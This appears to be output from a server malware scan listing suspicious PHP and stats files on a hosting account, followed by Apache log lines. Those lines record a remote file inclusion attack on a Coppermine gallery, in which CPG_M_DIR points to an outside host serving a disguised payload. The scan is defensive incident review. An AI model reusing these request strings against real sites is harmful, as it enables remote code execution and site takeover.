Possibly Malicous Php files:
# public_html/vrun/modules/Xanthia/plugins/outputfilter.shorturls.php
Gallery specific
Possibly malicious IFRAMES - viruses
Possibly Small Malicious Php files:
# public_html/mutantville/media/install_456339d7adfea/gallery2/lib/smarty/internals/core.get_microtime.php
# public_html/ltmf/libraries/openid/consumer.php
# public_html/nutrition3/libraries/openid/consumer.php
# public_html/brentbowers3/libraries/openid/consumer.php
# public_html/devildog/administrator/components/com_virtuemart/classes/payment/payflow_pro.cfg.php
# public_html/devildog/libraries/openid/consumer.php
# public_html/brentbowers/administrator/components/com_virtuemart/classes/payment/payflow_pro.cfg.php
# public_html/vrun/includes/classes/Smarty/internals/core.get_microtime.php
Possibly Malicous Other files:
# tmp/awstats/awstats102007.brentsando.com.txt
# tmp/awstats/awstats062008.brentsando.com.txt
# tmp/awstats/awstats052008.brentsando.com.txt
# tmp/awstats/awstats112007.brentsando.com.txt
# tmp/awstats/awstats022008.brentsando.com.txt
# tmp/awstats/awstats042008.brentsando.com.txt
# tmp/awstats/awstats122007.brentsando.com.txt
# tmp/awstats/awstats032008.brentsando.com.txt
# tmp/awstats/awstats022007.brentsando.com.txt
# tmp/awstats/awstats012007.brentsando.com.txt
# tmp/awstats/awstats012008.brentsando.com.txt
# tmp/awstats/awstats032007.brentsando.com.txt
Possibly Malicious Perl files:
Checking the domlogs
/etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12491 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12576 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13829 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13828 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12491 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:20:20 -0500] "GET /brentgallery/index.php/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 12576 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13829 "-" "libwww-perl/5.805"
/etc/httpd/domlogs/brentsan/brentsando.com:66.36.241.244 - - www.brentsando.com [09/Jun/2008:02:21:26 -0500] "GET /brentgallery/displayimage.php?album=random&cat=0&pos=-17/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://www.allfreeipodsex.com/viagra.jpg????????????????????????????? HTTP/1.1" 200 13828 "-" "libwww-perl/5.805"